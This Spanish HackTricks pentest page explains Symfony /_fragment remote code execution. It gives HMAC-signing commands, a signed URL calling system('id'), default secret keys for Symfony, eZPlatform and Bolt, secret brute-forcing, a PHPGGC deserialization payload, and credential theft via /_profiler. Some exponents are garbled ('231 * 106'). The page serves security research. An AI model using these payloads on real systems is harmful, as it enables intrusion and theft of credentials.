# Symfony
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Introducción
Desde su creación en 2008, el uso del framework [Symfony](https://symfony.com) ha ido creciendo cada vez más en aplicaciones basadas en PHP. Ahora es un componente central de muchos CMS conocidos, como [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anteriormente eZPublish), o [Bolt](https://bolt.cm), y se utiliza a menudo para construir sitios web personalizados.
Una de las características integradas de Symfony, diseñada para manejar [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), es la clase [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Esencialmente, cuando alguien emite una solicitud a `/_fragment`, este listener establece atributos de solicitud a partir de los parámetros GET proporcionados. Dado que esto permite **ejecutar código PHP arbitrario** (_más sobre esto más adelante_), la solicitud debe estar firmada usando un valor HMAC. La clave criptográfica secreta de este HMAC se almacena bajo un valor de configuración de Symfony llamado `secret`.
Este valor de configuración, `secret`, también se utiliza, por ejemplo, para construir tokens CSRF y tokens de función "recuérdame". Dada su importancia, este valor debe ser obviamente muy aleatorio.
Desafortunadamente, hemos descubierto que a menudo, el `secret` tiene un **valor predeterminado**, o existen **formas de obtener el valor, forzarlo offline, o simplemente eludir la verificación de seguridad con la que está involucrado**. Afecta notablemente a Bolt, eZPlatform y eZPublish.
Aunque esto puede parecer un problema de configuración benigno, hemos encontrado que los valores predeterminados, forzables o adivinables están **muy, muy a menudo presentes** en los CMS mencionados, así como en aplicaciones personalizadas. Esto se debe principalmente a no enfatizar lo suficiente su importancia en la documentación o guías de instalación.
Además, un atacante puede escalar vulnerabilidades de menor impacto para leer el `secret` (a través de una divulgación de archivos), eludir el proceso de firma de `/_fragment` (usando un SSRF), ¡e incluso filtrarlo a través de `phpinfo()`!
En este blogpost, describiremos cómo se puede obtener el `secret` en varios CMS y en el framework base, y cómo ejecutar código usando dicho `secret`.
## Un poco de historia
Siendo un framework moderno, Symfony ha tenido que lidiar con la generación de subpartes de una solicitud desde su creación hasta nuestros días. Antes de `/_fragment`, estaba `/_internal` y `/_proxy`, que hacían esencialmente lo mismo. Esto produjo muchas vulnerabilidades a lo largo de los años: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy), y [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), por ejemplo.
Desde Symfony 4, el `secret` se genera durante la instalación, y la página `/_fragment` está desactivada por defecto. Uno podría pensar, por lo tanto, que la conjunción de ambos, tener un `secret` débil y `/_fragment` habilitado, sería rara. No es así: muchos frameworks dependen de versiones antiguas de Symfony (incluso la versión 2.x sigue estando muy presente), e implementan un valor `secret` estático o lo generan de manera deficiente. Además, muchos dependen de ESI y, como tal, habilitan la página `/_fragment`. Además, como veremos, otras vulnerabilidades de menor impacto pueden permitir volcar el `secret`, incluso si se ha generado de forma segura.
## Ejecutando código con la ayuda de `secret`
Primero demostraremos cómo un atacante, teniendo conocimiento del valor de configuración `secret`, puede obtener ejecución de código. Esto se hace para la última versión de `symfony/http-kernel`, pero es similar para otras versiones.
### Usando `/_fragment` para ejecutar código arbitrario
Como se mencionó anteriormente, haremos uso de la página `/_fragment`.
```php
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
```
`FragmentListener:onKernelRequest` se ejecutará en cada solicitud: si la ruta de la solicitud es `/_fragment` \[1], el método primero verificará que la solicitud sea válida (_es decir_, debidamente firmada), y lanzará una excepción en caso contrario \[2]. Si las comprobaciones de seguridad tienen éxito, analizará el parámetro `_path` codificado en la URL y establecerá los atributos de `$request` en consecuencia.
Los atributos de la solicitud no deben confundirse con los parámetros de la solicitud HTTP: son valores internos, mantenidos por Symfony, que generalmente no pueden ser especificados por un usuario. Uno de estos atributos de la solicitud es `_controller`, que especifica qué controlador de Symfony (una tupla _(clase, método)_ o simplemente una _función_) debe ser llamado. Los atributos cuyo nombre no comienza con `_` son argumentos que se van a proporcionar al controlador. Por ejemplo, si quisiéramos llamar a este método:
```php
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
```
Estableceríamos `_path` a:
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
La solicitud se vería entonces así:
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
Esencialmente, esto permite llamar a cualquier función o método de cualquier clase, con cualquier parámetro. Dada la gran cantidad de clases que tiene Symfony, **conseguir la ejecución de código es trivial**. Podemos, por ejemplo, llamar a `system()`:
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
_Llamar a system no funcionará siempre: consulta la sección de Exploit para obtener más detalles sobre las sutilezas de la explotación._
Un problema permanece: ¿cómo verifica Symfony la firma de la solicitud?
### Firmando la URL
Para verificar la firma de una URL, se calcula un HMAC contra la _URL completa_. El hash obtenido se compara entonces con el especificado por el usuario.
En términos de código, esto se hace en dos lugares:
```php
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
```
En resumen, Symfony extrae el parámetro GET `_hash`, luego reconstruye la URL completa, por ejemplo `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcula un HMAC de esta URL utilizando el `secret` como clave \[1], y lo compara con el valor de hash dado \[2]. Si no coinciden, se lanza una excepción `AccessDeniedHttpException` \[3], resultando en un error `403`.
### Ejemplo
Para probar esto, configuramos un entorno de prueba y extraemos el secreto (en este caso, generado aleatoriamente).
```
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
```
Ahora, al visitar `http://localhost:8000/_fragment` se obtiene un `403`. Intentemos ahora proporcionar una firma válida:
```
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
```
Al verificar `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, ahora tenemos un código de estado `404`. La firma era correcta, pero no especificamos ningún atributo de solicitud, por lo que Symfony no encuentra nuestro controlador.
Dado que podemos llamar a cualquier método, con cualquier argumento, podemos, por ejemplo, elegir `system($command, $return_value)`, y proporcionar un payload de la siguiente manera:
```
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
```
Podemos ahora visitar la URL del exploit: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
A pesar del error `500`, podemos ver que **nuestro comando se ejecutó**.
_RCE usando fragment_
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
## Encontrando secretos
De nuevo: nada de esto importaría si los secretos no fueran accesibles. A menudo, lo son. Describiremos varias formas de obtener ejecución de código sin conocimiento previo.
### A través de vulnerabilidades
Comencemos con lo obvio: usar vulnerabilidades de menor impacto para obtener el secreto.
#### Lectura de archivos
Evidentemente, una vulnerabilidad de lectura de archivos podría usarse para leer los siguientes archivos y obtener `secret`:
* `app/config/parameters.yml`
* `.env`
_Como ejemplo, algunas barras de herramientas de depuración de Symfony permiten leer archivos._
#### PHPinfo
En versiones recientes de Symfony (3.x), `secret` se almacena en `.env` como `APP_SECRET`. Dado que luego se importa como una variable de entorno, se pueden ver a través de una página `phpinfo()`.
_Filtrando APP\_SECRET a través de phpinfo_
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
Esto se puede hacer notablemente a través del paquete profiler de Symfony, como demuestra la captura de pantalla.
#### SSRF / Suplantación de IP (CVE-2014-5245)
El código detrás de `FragmentListener` ha evolucionado a lo largo de los años: hasta la versión _2.5.3_, cuando la solicitud provenía de un proxy de confianza (léase: `localhost`), se consideraría segura y, como tal, no se verificaría el hash. Un SSRF, por ejemplo, puede permitir ejecutar código inmediatamente, independientemente de tener `secret` o no. Esto afecta notablemente a eZPublish hasta 2014.7.
```php
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
```
### A través de valores predeterminados
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt`
Al configurar un sitio web Symfony, el primer paso es instalar el esqueleto [symfony-standard](https://github.com/symfony/symfony-standard). Una vez instalado, se solicita ingresar algunos valores de configuración. Por defecto, la clave es `ThisTokenIsNotSoSecretChangeIt`.
_Instalación de Symfony a través de composer_
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
En versiones posteriores (4+), la clave secreta se genera de forma segura.
#### ezPlatform 3.x (última): `ff6dc61a329dc96652bb092ec58981f7`
[ezPlatform](https://ezplatform.com), el sucesor de [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), todavía utiliza Symfony. El 10 de junio de 2019, un [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) estableció la clave predeterminada en `ff6dc61a329dc96652bb092ec58981f7`. Las versiones vulnerables van desde 3.0-alpha1 hasta 3.1.1 (actual).
Aunque la [documentación](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) indica que se debe cambiar el secreto, no se hace cumplir.
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`
Al igual que el esqueleto de Symfony, se le pedirá que ingrese un secreto durante la instalación. El valor predeterminado es `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
#### Bolt CMS <= 3.7 (última): `md5(__DIR__)`
[Bolt CMS](https://bolt.cm) utiliza [Silex](https://github.com/silexphp/Silex), un micro-framework obsoleto basado en Symfony. Configura la clave secreta utilizando este cálculo:
```php
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
```
Como tal, uno puede adivinar el secreto o utilizar una vulnerabilidad de Full Path Disclosure para calcularlo.
Si no tuviste éxito con las claves secretas predeterminadas, no te desesperes: hay otras formas.
### Fuerza bruta
Dado que el secreto a menudo se establece manualmente (en lugar de generarse aleatoriamente), las personas a menudo usarán una frase de paso en lugar de un valor aleatorio seguro, lo que lo hace susceptible a fuerza bruta si tenemos un hash contra el cual realizar la fuerza bruta. Obviamente, una URL válida de `/_fragment`, como una generada por Symfony, nos proporcionaría una tupla de mensaje-hash válida para forzar bruta el secreto.
_Una solicitud válida al fragmento se incluye en la respuesta_
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
Al principio de este blogpost, dijimos que el secreto de Symfony tenía varios usos. Uno de esos usos es que también se utiliza para generar tokens CSRF. Otro uso de `secret` es firmar cookies de recordar usuario. En algunos casos, un atacante puede usar su propio token CSRF o cookie de recordar usuario para forzar bruta el valor de `secret`.
_La ingeniería inversa de la construcción de esos tokens se deja como ejercicio para el lector._
### Profundizando: eZPublish
Como ejemplo de cómo los secretos pueden ser forzados bruta para lograr la ejecución de código, veremos cómo podemos descubrir el secreto de eZPublish 2014.07.
#### Encontrando material para fuerza bruta
eZPublish genera sus tokens CSRF de la siguiente manera:
```php
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
```
Para construir este token, eZP utiliza dos valores que conocemos, y el secreto: `getIntention()` es la acción que el usuario está intentando realizar (`authenticate` por ejemplo), `session_id()` es el ID de sesión de PHP, y `getSecret()`, bueno, es el `secret` de Symfony.
Dado que los tokens CSRF se pueden encontrar en algunos formularios, ahora tenemos el material para forzar bruscamente el secreto.
Desafortunadamente, ezPublish incorporó un paquete de sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Este paquete asegura que la clave secreta sea aleatoria. La genera de esta manera, durante la instalación:
```php
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
```
Esto parece muy difícil de forzar bruscamente: `mt_rand()` puede producir 231 valores diferentes, y `uniqid()` se construye a partir de la marca de tiempo actual (con microsegundos).
```php
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
```
#### Revelando el timestamp
Afortunadamente, sabemos que este secreto se genera en el último paso de la instalación, justo después de que se configura el sitio web. Esto significa que probablemente podemos filtrar el timestamp utilizado para generar este hash.
Una forma de hacerlo es utilizando los registros (_por ejemplo_, `/var/log/storage.log`); se puede filtrar la primera vez que se creó una entrada de caché. La entrada de caché se crea justo después de que se llama a `generateRandomSecret()`.
_Contenido de muestra del registro: el timestamp es similar al utilizado para calcular el secreto_
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
Si los registros no están disponibles, se puede utilizar el motor de búsqueda muy potente de eZPublish para encontrar el momento de creación del primer elemento del sitio web. De hecho, cuando se crea el sitio, se introducen muchos timestamps en la base de datos. Esto significa que el timestamp de los datos iniciales del sitio web eZPublish es el mismo que se utilizó para calcular `uniqid()`. Podemos buscar el _ContentObject_ `landing_page` y descubrir su timestamp.
## Fuerza bruta para los bits faltantes
Ahora estamos al tanto del timestamp utilizado para calcular el secreto, así como de un hash de la siguiente forma:
```php
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
```
Esto nos deja con un total de 231 \* 106 posibilidades. Parece factible con [hashcat](https://hashcat.net) y un buen conjunto de GPUs, pero hashcat no proporciona un kernel `sha1(sha1($pass).$salt)`. Afortunadamente, ¡lo implementamos! Puedes encontrar [la solicitud de extracción aquí](https://github.com/hashcat/hashcat/pull/2536).
Usando nuestra máquina de cracking, que cuenta con 8 GPUs, podemos descifrar este hash en _menos de 20 horas_.
Después de obtener el hash, podemos usar `/_fragment` para ejecutar código.
## Conclusión
Symfony es ahora un componente central de muchas aplicaciones PHP. Como tal, cualquier riesgo de seguridad que afecte al framework afecta a muchos sitios web. Como se demostró en este artículo, ya sea una clave secreta débil o una vulnerabilidad de menor impacto permite a los atacantes obtener **ejecución de código remoto**.
Como miembro de un equipo azul, deberías revisar todos tus sitios web que dependen de Symfony. El software actualizado no puede descartarse por vulnerabilidades, ya que la clave secreta se genera en la primera instalación del producto. Por lo tanto, si creaste un sitio web basado en Symfony-3.x hace unos años y lo mantuviste actualizado en el camino, es probable que la clave secreta siga siendo la predeterminada.
## Explotación
### Teoría
Por un lado, tenemos algunas preocupaciones al explotar esta vulnerabilidad:
* El HMAC se calcula usando la **URL completa**. Si el sitio web está detrás de un proxy inverso, necesitamos usar la URL interna del servicio en lugar de la que estamos enviando nuestro payload. Por ejemplo, la URL interna podría ser sobre HTTP en lugar de HTTPS.
* El algoritmo de HMAC ha cambiado a lo largo de los años: era **SHA-1** antes y ahora es **SHA-256**.
* Dado que Symfony elimina el parámetro `_hash` de la solicitud y luego genera la URL de nuevo, necesitamos calcular el hash en la misma URL que lo hace.
* Hay muchas claves secretas que se pueden usar, por lo que necesitamos verificarlas todas.
* En algunas versiones de PHP, no podemos llamar a funciones que tienen parámetros "por referencia", como `system($command, &$return_value)`.
* En algunas versiones de Symfony, `_controller` no puede ser una función, tiene que ser un método. Necesitamos encontrar un método de Symfony que nos permita ejecutar código.
Por otro lado, podemos aprovechar algunas cosas:
* Acceder a `/_fragment` sin parámetros, o con un hash inválido, debería devolver un `403`.
* Acceder a `/_fragment` con un hash válido pero sin un controlador válido debería producir un `500`.
El último punto nos permite probar valores secretos sin preocuparnos por qué función o método vamos a llamar después.
### Práctica
Supongamos que estamos atacando `https://target.com/_fragment`. Para poder firmar correctamente una URL, necesitamos conocimiento de:
* URL interna: podría ser `https://target.com/_fragment`, o quizás `http://target.com/_fragment`, o algo completamente diferente (_por ejemplo_, `http://target.website.internal`), lo cual no podemos adivinar
* Clave secreta: tenemos una lista de claves secretas habituales, como `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
* Algoritmo: SHA1 o SHA256
No necesitamos preocuparnos por el payload efectivo (el contenido de `_path`) todavía, porque una URL firmada correctamente no resultará en una excepción `AccessDeniedHttpException`, y como tal no resultará en un `403`. Por lo tanto, el exploit intentará cada combinación de `(algoritmo, URL, secreto)`, generará una URL y verificará si no produce un código de estado `403`.
_Una solicitud válida a `/_fragment`, sin el parámetro `_path`_
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
En este punto, podemos firmar cualquier URL de `/_fragment`, lo que significa que es un RCE garantizado. Solo es cuestión de qué llamar.
Luego, necesitamos averiguar si podemos llamar a una función directamente, o si necesitamos usar un método de clase. Podemos intentar primero la forma más directa y sencilla, usando una función como `phpinfo ([ int $what = INFO_ALL ] )` ([documentación](https://www.php.net/manual/en/function.phpinfo.php)). El parámetro GET `_path` se vería así:
```
_controller=phpinfo
&what=-1
```
Y la URL se vería así:
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
Si la respuesta HTTP muestra una página `phpinfo()`, ganamos. Luego podemos intentar usar otra función, como `assert`:
_Ejemplo de salida usando `_controller=assert`_
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
De lo contrario, esto significa que necesitaremos usar un método de clase en su lugar. Un buen candidato para esto es `Symfony\Component\Yaml\Inline::parse`, que es una clase incorporada de Symfony y, como tal, está presente en sitios web de Symfony.
Obviamente, este método analiza una cadena de entrada YAML. El analizador [YAML](https://yaml.org) de Symfony admite la etiqueta `php/object`, que convertirá una cadena de entrada serializada en un objeto utilizando `unserialize()`. ¡Esto nos permite usar nuestra herramienta PHP favorita, [PHPGGC](https://github.com/ambionics/phpggc)!
El prototipo del método ha cambiado a lo largo de los años. Por ejemplo, aquí hay tres prototipos diferentes:
```
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
```
```markdown
En lugar de construir `_path` para cada uno de estos, podemos aprovechar el hecho de que si damos un argumento cuyo nombre no coincide con el prototipo del método, será ignorado. Por lo tanto, podemos agregar todos los argumentos posibles al método, sin preocuparnos por el prototipo real.
Por lo tanto, podemos construir `_path` de la siguiente manera:
```
```
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
```
De nuevo, podemos intentar con `phpinfo()`, y ver si funciona. Si lo hace, podemos usar `system()` en su lugar.
_Salida de muestra usando `Inline::parse` con una carga útil serializada_
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
El exploit, por lo tanto, ejecutará todas las posibles combinaciones de variables y luego probará los dos métodos de explotación. El código está disponible en [nuestro GitHub](https://github.com/ambionics/symfony-exploits).
## Accediendo a la información de symfony /\_profiler
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
Como ves en la captura de pantalla anterior, hay un logo de `sf` en la parte inferior derecha de la página. Este logo se muestra cuando Symfony está en modo de depuración. Hay casos en los que este logo no aparece, así que intenta acceder a `/_profiler` y verás la página como se muestra a continuación
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
Esta característica se llama Symfony Profiler, y no hay mucha información sobre esta característica en internet. La intención de esta característica es muy clara; te ayuda a depurar cuando hay un error o un bug. Por supuesto, esta característica solo se puede usar cuando el modo de depuración está habilitado.
El framework Symfony en sí es muy seguro, pero habilitar el modo de depuración hará que este framework sea extremadamente vulnerable. Por ejemplo, Profiler tiene una característica llamada Búsqueda de Perfiles, como la siguiente captura de pantalla.
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
Como ves en la captura de pantalla anterior, puedes acceder a todas las solicitudes enviadas al servidor. Al hacer clic en los hashes en el token, verás que todos los parámetros POST se pueden leer, como se ve en la siguiente captura de pantalla. Con esta característica, podemos secuestrar las credenciales de las cuentas de administradores y usuarios.
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
### Otros Endpoints con Depuración Habilitada
También deberías revisar estas URLs:
* **https://example.com/app\_dev.php/\_profiler**
* **https://example.com/app\_dev.php**\\
## Referencias
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).